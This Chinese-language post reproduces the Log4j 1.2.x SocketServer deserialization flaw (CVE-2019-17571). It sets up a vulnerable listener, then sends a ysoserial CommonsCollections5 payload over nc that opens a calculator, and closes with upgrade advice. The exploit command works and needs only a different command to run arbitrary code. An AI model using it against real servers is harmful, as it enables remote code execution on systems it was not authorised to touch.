目录

Apache Log4j SocketServer反序列化漏洞复现

Apache Log4j SocketServer 反序列化漏洞复现

Apache Log4j 是一个基于 Java 的日志记录工具,是 Apache 软件基金会的一个项目,是几种 Java 日志框架之一。

近日,Apache Log4j 官方披露在 1.2.x 版本中的SocketServer类存在反序列化漏洞(CVE-2019-17571),攻击者可利用漏洞可实现远程代码执行。

Log4j 1.2.x 版本中的 org.apache.log4j.net.SocketServer 类,存在反序列化漏洞。使用 Log4j SocketServer 类创建的 Socket 监听服务处理接受数据时,容易对不可信数据进行反序列化,结合反序列化小工具,攻击者可以实现远程代码执行。

环境搭建

用到的 jar 包: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191230094353.png-water_print

1
java -cp log4j-1.2.17.jar:commons-collections-3.1.jar org.apache.log4j.net.SocketServer 8888 ./log4jserver.properties ./

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191230094410.png-water_print

漏洞复现

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a Calculator" | nc 127.0.0.1 8888

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191230094442.png-water_print

发送 payload 后,成功弹出计算器: https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20191230094518.png-water_print

修复建议

  1. Apache Log4j 的 1.2 系列版本官方在2015年8月已停止维护,在 2.8.2 版本中已修复了该漏洞,建议尽快升级到 2.8.2 或更高的版本; 下载地址:https://logging.apache.org/log4j/2.x/download.html

  2. 停止使用 Log4j 的 SocketServer 类创建 Socket 服务,未使用 Log4j 的 SocketServer 类的功能不受漏洞影响;